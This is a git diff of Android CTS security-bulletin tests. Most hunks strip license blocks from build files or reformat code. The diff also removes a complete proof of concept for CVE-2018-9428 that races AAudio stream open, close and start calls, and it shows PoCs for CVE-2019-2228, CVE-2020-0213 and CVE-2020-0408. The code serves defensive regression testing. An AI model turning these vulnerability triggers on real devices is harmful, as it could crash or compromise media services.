 cc_test {
     name: "CVE-2017-13253",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
index 5d59b96..70dd343 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-13273",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
index 35dcbde..f5adc33 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2017-6262",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
index 45ae45e..df215ef 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2018-9344",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
index 9e49090..7b04ffb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2018-9424",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
deleted file mode 100644
index 16bfc36..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test {
-    name: "CVE-2018-9428",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: [
-        "poc.cpp",
-    ],
-    shared_libs: [
-        "libmedia",
-        "libutils",
-        "libbinder",
-        "libaaudio_internal",
-    ],
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
deleted file mode 100644
index cf21dbc..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include "../includes/common.h"
-#include "binding/IAAudioService.h"
-#include <binder/IPCThreadState.h>
-#include <binder/IServiceManager.h>
-
-using namespace android;
-using namespace aaudio;
-
-typedef struct _thread_args {
-  aaudio_handle_t aaudioHandle;
-  sp<IAAudioService> aas;
-} thread_args;
-
-static void *closeStreamThread(void *arg) {
-  thread_args *threadArgs = (thread_args *)arg;
-  if (threadArgs) {
-    if (threadArgs->aas) {
-      threadArgs->aas->closeStream(threadArgs->aaudioHandle);
-    }
-  }
-  return nullptr;
-}
-
-static void *startStreamThread(void *arg) {
-  thread_args *threadArgs = (thread_args *)arg;
-  if (threadArgs) {
-    if (threadArgs->aas) {
-      threadArgs->aas->startStream(threadArgs->aaudioHandle);
-    }
-  }
-  return nullptr;
-}
-
-int main() {
-  thread_args targs;
-
-  sp<IServiceManager> sm = defaultServiceManager();
-  sp<IBinder> binder = sm->getService(String16("media.aaudio"));
-  targs.aas = interface_cast<IAAudioService>(binder);
-  if (!(targs.aas)) {
-    return EXIT_FAILURE;
-  }
-  aaudio::AAudioStreamRequest request;
-  request.getConfiguration().setSharingMode(AAUDIO_SHARING_MODE_SHARED);
-  request.getConfiguration().setDeviceId(0);
-  request.getConfiguration().setSampleRate(AAUDIO_UNSPECIFIED);
-
-  time_t currentTime = start_timer();
-  while (timer_active(currentTime)) {
-    pthread_t pt[2];
-
-    aaudio::AAudioStreamConfiguration configurationOutput;
-    targs.aaudioHandle = targs.aas->openStream(request, configurationOutput);
-    pthread_create(&pt[0], nullptr, closeStreamThread,
-                   &targs); /* close stream */
-    pthread_create(&pt[1], nullptr, startStreamThread,
-                   &targs); /* start stream */
-
-    sleep(5);
-  }
-  return EXIT_SUCCESS;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
index fa09b34..12c9ca0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
@@ -15,10 +15,6 @@
  *
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2018-9466-CVE-2017-9047",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp
index 42f1d5f..97fdf58 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2018-9472",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp
index 438c690..5a4e6fa 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2018-9491",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
index 2e751f4..ba0e08f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2018-9515",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp
index 3f0ed80..c6b3bd9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2018-9527",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
index fbb1a33..d1a4d1d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
@@ -15,10 +15,6 @@
  *
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2018-9537",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp
index 935c1d1..d0ebfac 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2018-9539",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp
index 72d7dda..165017b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2019-2025",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
index 63600cc..de84bb7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
@@ -14,11 +14,12 @@
  * limitations under the License.
  */
 
-#include "../includes/common.h"
 #include <dlfcn.h>
 #include <fcntl.h>
 #include <ipp.h>
 
+#include "../includes/common.h"
+
 int isInitialized = 0;
 void *check_ptr = NULL;
 size_t text_len = sizeof("text/plain") - 1;
@@ -27,57 +28,57 @@
 static int (*real_strcmp)(const char *str1, const char *str2) = NULL;
 
 void init(void) {
-  real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
-  if (real_malloc == NULL) {
-    return;
-  }
-  real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
-  if (real_strcmp == NULL) {
-    return;
-  }
-  isInitialized = 1;
+    real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+    if (real_malloc == NULL) {
+        return;
+    }
+    real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
+    if (real_strcmp == NULL) {
+        return;
+    }
+    isInitialized = 1;
 }
 
 void *malloc(size_t size) {
-  if (!isInitialized) {
-    init();
-  }
-  void *tmp = real_malloc(size);
-  if (size == text_len) {
-    check_ptr = tmp;
-  }
-  return tmp;
+    if (!isInitialized) {
+        init();
+    }
+    void *tmp = real_malloc(size);
+    if (size == text_len) {
+        check_ptr = tmp;
+    }
+    return tmp;
 }
 
 int strcmp(const char *str1, const char *str2) {
-  if (!isInitialized) {
-    init();
-  }
-  if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
-    exit(EXIT_VULNERABLE);
-  }
-  return real_strcmp(str1, str2);
+    if (!isInitialized) {
+        init();
+    }
+    if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
+        exit(EXIT_VULNERABLE);
+    }
+    return real_strcmp(str1, str2);
 }
 
 int main(int argc, char **argv) {
-  if (argc < 2) {
-    return EXIT_FAILURE;
-  }
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
 
-  int file_desc = open((const char *)argv[1], O_RDONLY);
-  if (file_desc < 0) {
-    return EXIT_FAILURE;
-  }
+    int file_desc = open((const char *)argv[1], O_RDONLY);
+    if (file_desc < 0) {
+        return EXIT_FAILURE;
+    }
 
-  ipp_t *job = ippNew();
-  if (!job) {
-    return EXIT_FAILURE;
-  }
-  ippReadFile(file_desc, job);
+    ipp_t *job = ippNew();
+    if (!job) {
+        return EXIT_FAILURE;
+    }
+    ippReadFile(file_desc, job);
 
-  if (job) {
-    free(job);
-  }
-  close(file_desc);
-  return EXIT_SUCCESS;
+    if (job) {
+        free(job);
+    }
+    close(file_desc);
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
index 250b45b..5fb2d02 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
@@ -15,10 +15,6 @@
  *
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2019-9308",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
index b10d624..06e37ec 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
@@ -15,10 +15,6 @@
  *
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2019-9313",
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
index 0e5d17d..7a52d1c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2019-9347",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -41,3 +37,5 @@
         "-Werror",
     ],
 }
+
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
index 9a7a370..9c18dc9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
@@ -15,10 +15,6 @@
  *
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2019-9357",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
index 1cb71e3..ebe6f13 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
@@ -15,10 +15,6 @@
  *
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2019-9362",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
index 32d8415..8ce25c1 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CVE-2020-0069",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
index 30e22d4..fd10060 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
@@ -39,11 +39,11 @@
 #define MAXIMUM_NUMBER_OF_INPUT_BUFFERS 8
 #define ALIGN(_sz, _align) ((_sz + (_align - 1)) & ~(_align - 1))
 
-void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
-              std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
-              std::mutex& queueLock, std::condition_variable& queueCondition,
-              std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
-              uint32_t& framesReceived);
+void workDone(const std::shared_ptr<android::Codec2Client::Component> &component,
+              std::unique_ptr<C2Work> &work, std::list<uint64_t> &flushedIndices,
+              std::mutex &queueLock, std::condition_variable &queueCondition,
+              std::list<std::unique_ptr<C2Work>> &workQueue, bool &eos, bool &csd,
+              uint32_t &framesReceived);
 
 struct FrameInfo {
     int bytesCount;
@@ -52,12 +52,12 @@
 };
 
 class LinearBuffer : public C2Buffer {
-   public:
-    explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block)
-        : C2Buffer({block->share(block->offset(), block->size(), ::C2Fence())}) {}
+public:
+    explicit LinearBuffer(const std::shared_ptr<C2LinearBlock> &block)
+          : C2Buffer({block->share(block->offset(), block->size(), ::C2Fence())}) {}
 
-    explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block, size_t size)
-        : C2Buffer({block->share(block->offset(), size, ::C2Fence())}) {}
+    explicit LinearBuffer(const std::shared_ptr<C2LinearBlock> &block, size_t size)
+          : C2Buffer({block->share(block->offset(), size, ::C2Fence())}) {}
 };
 
 /*
@@ -65,12 +65,12 @@
  * onError(), onDeath(), onFramesRendered()
  */
 struct CodecListener : public android::Codec2Client::Listener {
-   public:
+public:
     CodecListener(
-        const std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> fn = nullptr)
-        : callBack(fn) {}
-    virtual void onWorkDone(const std::weak_ptr<android::Codec2Client::Component>& comp,
-                            std::list<std::unique_ptr<C2Work>>& workItems) override {
+            const std::function<void(std::list<std::unique_ptr<C2Work>> &workItems)> fn = nullptr)
+          : callBack(fn) {}
+    virtual void onWorkDone(const std::weak_ptr<android::Codec2Client::Component> &comp,
+                            std::list<std::unique_ptr<C2Work>> &workItems) override {
         (void)comp;
         if (callBack) {
             callBack(workItems);
@@ -78,19 +78,19 @@
     }
 
     virtual void onTripped(
-        const std::weak_ptr<android::Codec2Client::Component>& comp,
-        const std::vector<std::shared_ptr<C2SettingResult>>& settingResults) override {
+            const std::weak_ptr<android::Codec2Client::Component> &comp,
+            const std::vector<std::shared_ptr<C2SettingResult>> &settingResults) override {
         (void)comp;
         (void)settingResults;
     }
 
-    virtual void onError(const std::weak_ptr<android::Codec2Client::Component>& comp,
+    virtual void onError(const std::weak_ptr<android::Codec2Client::Component> &comp,
                          uint32_t errorCode) override {
         (void)comp;
         (void)errorCode;
     }
 
-    virtual void onDeath(const std::weak_ptr<android::Codec2Client::Component>& comp) override {
+    virtual void onDeath(const std::weak_ptr<android::Codec2Client::Component> &comp) override {
         (void)comp;
     }
 
@@ -105,24 +105,24 @@
         (void)slotId;
         (void)timestampNs;
     }
-    std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> callBack;
+    std::function<void(std::list<std::unique_ptr<C2Work>> &workItems)> callBack;
 };
 
 class Codec2VideoDecHidlTestBase {
-   public:
+public:
     bool SetUp() {
         mClient = getClient();
         if (!mClient) {
             return false;
         }
-        mListener.reset(new CodecListener(
-            [this](std::list<std::unique_ptr<C2Work>>& workItems) { handleWorkDone(workItems); }));
+        mListener.reset(new CodecListener([this](std::list<std::unique_ptr<C2Work>> &workItems) {
+            handleWorkDone(workItems);
+        }));
         if (!mListener) {
             return false;
         }
-        mComponent = android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
-                                                                  &mClient);
-        if (!mComponent) {
+        if (android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
+                                                         &mComponent, &mClient) != C2_OK) {
             return false;
         }
         for (int i = 0; i < MAXIMUM_NUMBER_OF_INPUT_BUFFERS; ++i) {
@@ -155,7 +155,7 @@
         auto instances = android::Codec2Client::GetServiceNames();
         for (std::string instance : instances) {
             std::shared_ptr<android::Codec2Client> client =
-                android::Codec2Client::CreateFromService(instance.c_str());
+                    android::Codec2Client::CreateFromService(instance.c_str());
             std::vector<C2Component::Traits> components = client->listComponents();
             for (C2Component::Traits traits : components) {
                 if (instance.compare(traits.owner)) {
@@ -163,20 +163,26 @@
                 }
                 if (traits.domain == DOMAIN_VIDEO && traits.kind == KIND_DECODER &&
                     mComponentName.compare(traits.name)) {
-                    return android::Codec2Client::CreateFromService(
-                        instance.c_str(),
-                        !bool(android::Codec2Client::CreateFromService("default", true)));
+                    return android::Codec2Client::
+                            CreateFromService(instance.c_str(),
+                                              !bool(android::Codec2Client::
+                                                            CreateFromService("default", true)));
                 }
             }
         }
         return nullptr;
     }
 
-    void checkBufferOK(std::unique_ptr<C2Work>& work) {
-        const C2GraphicView output =
-            work->worklets.front()->output.buffers[0]->data().graphicBlocks().front().map().get();
-        uint8_t* uPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_U]);
-        uint8_t* vPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_V]);
+    void checkBufferOK(std::unique_ptr<C2Work> &work) {
+        const C2GraphicView output = work->worklets.front()
+                                             ->output.buffers[0]
+                                             ->data()
+                                             .graphicBlocks()
+                                             .front()
+                                             .map()
+                                             .get();
+        uint8_t *uPlane = const_cast<uint8_t *>(output.data()[C2PlanarLayout::PLANE_U]);
+        uint8_t *vPlane = const_cast<uint8_t *>(output.data()[C2PlanarLayout::PLANE_V]);
         const uint8_t ul[] = {109, 109, 109, 109, 109, 109, 109};
         const uint8_t vl[] = {121, 121, 121, 121, 121, 121, 121};
         const uint8_t ur[] = {114, 114, 120, 120, 122, 127, 127};
@@ -192,7 +198,7 @@
         std::vector<std::unique_ptr<C2SettingResult>> failures;
         C2StreamPixelFormatInfo::output pixelformat(0u, format);
 
-        std::vector<C2Param*> configParam{&pixelformat};
+        std::vector<C2Param *> configParam{&pixelformat};
         c2_status_t status = mComponent->config(configParam, C2_DONT_BLOCK, &failures);
         if (status == C2_OK && failures.size() == 0u) {
             return true;
@@ -201,14 +207,14 @@
     }
 
     // callback function to process onWorkDone received by Listener
-    void handleWorkDone(std::list<std::unique_ptr<C2Work>>& workItems) {
-        for (std::unique_ptr<C2Work>& work : workItems) {
+    void handleWorkDone(std::list<std::unique_ptr<C2Work>> &workItems) {
+        for (std::unique_ptr<C2Work> &work : workItems) {
             if (!work->worklets.empty()) {
                 // For decoder components current timestamp always exceeds
                 // previous timestamp if output is in display order
                 mWorkResult |= work->result;
-                bool codecConfig =
-                    ((work->worklets.front()->output.flags & C2FrameData::FLAG_CODEC_CONFIG) != 0);
+                bool codecConfig = ((work->worklets.front()->output.flags &
+                                     C2FrameData::FLAG_CODEC_CONFIG) != 0);
                 if (!codecConfig && !work->worklets.front()->output.buffers.empty()) {
                     checkBufferOK(work);
                 }
@@ -242,21 +248,21 @@
 };
 
 // process onWorkDone received by Listener
-void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
-              std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
-              std::mutex& queueLock, std::condition_variable& queueCondition,
-              std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
-              uint32_t& framesReceived) {
+void workDone(const std::shared_ptr<android::Codec2Client::Component> &component,
+              std::unique_ptr<C2Work> &work, std::list<uint64_t> &flushedIndices,
+              std::mutex &queueLock, std::condition_variable &queueCondition,
+              std::list<std::unique_ptr<C2Work>> &workQueue, bool &eos, bool &csd,
+              uint32_t &framesReceived) {
     // handle configuration changes in work done
     if (work->worklets.front()->output.configUpdate.size() != 0) {
         std::vector<std::unique_ptr<C2Param>> updates =
-            std::move(work->worklets.front()->output.configUpdate);
-        std::vector<C2Param*> configParam;
+                std::move(work->worklets.front()->output.configUpdate);
+        std::vector<C2Param *> configParam;
         std::vector<std::unique_ptr<C2SettingResult>> failures;
         for (size_t i = 0; i < updates.size(); ++i) {
-            C2Param* param = updates[i].get();
+            C2Param *param = updates[i].get();
             if (param->index() == C2StreamInitDataInfo::output::PARAM_TYPE) {
-                C2StreamInitDataInfo::output* csdBuffer = (C2StreamInitDataInfo::output*)(param);
+                C2StreamInitDataInfo::output *csdBuffer = (C2StreamInitDataInfo::output *)(param);
                 size_t csdSize = csdBuffer->flexCount();
                 if (csdSize > 0) {
                     csd = true;
@@ -289,11 +295,11 @@
     }
 }
 
-bool decodeNFrames(const std::shared_ptr<android::Codec2Client::Component>& component,
-                   std::mutex& queueLock, std::condition_variable& queueCondition,
-                   std::list<std::unique_ptr<C2Work>>& workQueue,
-                   std::list<uint64_t>& flushedIndices, std::shared_ptr<C2BlockPool>& linearPool,
-                   std::ifstream& ifStream, android::Vector<FrameInfo>* Info) {
+bool decodeNFrames(const std::shared_ptr<android::Codec2Client::Component> &component,
+                   std::mutex &queueLock, std::condition_variable &queueCondition,
+                   std::list<std::unique_ptr<C2Work>> &workQueue,
+                   std::list<uint64_t> &flushedIndices, std::shared_ptr<C2BlockPool> &linearPool,
+                   std::ifstream &ifStream, android::Vector<FrameInfo> *Info) {
     typedef std::unique_lock<std::mutex> ULock;
     int frameID = 0;
     int retryCount = 0;
@@ -315,7 +321,7 @@
             }
         }
         if (!work && (retryCount >= MAXIMUM_NUMBER_OF_RETRIES)) {
-            return false;  // "Wait for generating C2Work exceeded timeout"
+            return false; // "Wait for generating C2Work exceeded timeout"
         }
         int64_t timestamp = (*Info)[frameID].timestamp;
         if ((*Info)[frameID].flags) {
@@ -334,7 +340,7 @@
         }
 
         int size = (*Info)[frameID].bytesCount;
-        char* data = (char*)malloc(size);
+        char *data = (char *)malloc(size);
         if (!data) {
             return false;
         }
@@ -393,8 +399,8 @@
 }
 
 // Wait for all the inputs to be consumed by the plugin.
-void waitOnInputConsumption(std::mutex& queueLock, std::condition_variable& queueCondition,
-                            std::list<std::unique_ptr<C2Work>>& workQueue,
+void waitOnInputConsumption(std::mutex &queueLock, std::condition_variable &queueCondition,
+                            std::list<std::unique_ptr<C2Work>> &workQueue,
                             size_t bufferCount = MAXIMUM_NUMBER_OF_INPUT_BUFFERS) {
     typedef std::unique_lock<std::mutex> ULock;
     uint32_t queueSize;
@@ -416,7 +422,7 @@
 }
 
 // Populate Info vector and return number of CSDs
-int32_t populateInfoVector(std::string info, android::Vector<FrameInfo>* frameInfo) {
+int32_t populateInfoVector(std::string info, android::Vector<FrameInfo> *frameInfo) {
     std::ifstream eleInfo;
     eleInfo.open(info);
     if (!eleInfo.is_open()) {
@@ -447,7 +453,7 @@
         return EXIT_FAILURE;      \
     }
 
-int main(int argc, char** argv) {
+int main(int argc, char **argv) {
     RETURN_FAILURE(argc != 3);
 
     Codec2VideoDecHidlTestBase handle;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
index dcccd2e..6392952 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
@@ -17,15 +17,15 @@
 #include "utils/String16.h"
 
 int main(void) {
-  android::String16 str{u"hello world"};
-  android::String16 substr{u"hello"};
-  const size_t begin = substr.size();
-  const size_t len = std::numeric_limits<size_t>::max();
-  if (str.remove(len, begin) != android::OK) {
-    return EXIT_FAILURE;
-  }
-  if (strcmp16(str, substr) != 0) {
-    return EXIT_FAILURE;
-  }
-  return EXIT_SUCCESS;
+    android::String16 str{u"hello world"};
+    android::String16 substr{u"hello"};
+    const size_t begin = substr.size();
